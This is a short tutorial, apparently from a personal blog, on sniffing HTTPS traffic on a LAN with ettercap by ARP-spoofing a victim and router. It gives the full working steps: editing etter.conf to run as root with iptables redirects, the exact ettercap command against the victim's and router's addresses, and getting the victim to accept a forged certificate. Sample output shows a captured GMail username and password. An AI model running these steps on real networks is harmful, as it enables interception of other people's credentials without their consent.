Sniffing SSL (https) traffic on LAN with ettercap by mean of Man In The Middle (MITM) attack.
Step 1 :
nano /etc/etter.conf
Make the change as the following :
[privs]
ec_uid = 0 # nobody is the default
ec_gid = 0 # nobody is the default
Uncomment the following :
# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
Step 2 :
Victim's machine is at 192.168.1.100 while the router is at 192.168.1.1. Attacker is at 192.168.1.115.
ettercap -TqM arp:remote /192.168.1.100/ /192.168.1.1/
The outcome of the display is as the following :
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Step 3 :
At the victim's machine, open a browser, such as Firefox and go to GMail. You will be asked to accept an untrusted certification. Just accept the certificate and you will be directed to the login screen of GMail.
When the victim login to the GMail, his/her username and password will be logged on the Attacker's machine. The display will be similar to the following :
HTTP : 74.125.71.106:443 -> USER: samiux PASS: password INFO: https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http://mail.google.com/mail/?ui=html&zy=l&bsv=llya694le36z&s
You will find that USER: samiux and PASS: password.
Remarks :
To delete the untrusted certificate on Firefox at victim's machine : "
Edit
" -- "Perference
" -- "View Certificate List
" -- "Server
". You will find something like the following. You just delete them all.Thawte Consulting (Pty) Ltd.
www.google.com www.google.com:443 forever 2011-09-21
www.google.com mail.google.com:443 forever 2011-09-21
In general, GMail will not ask you to accept any certificate, especially untrusted one.
That's all! See you.
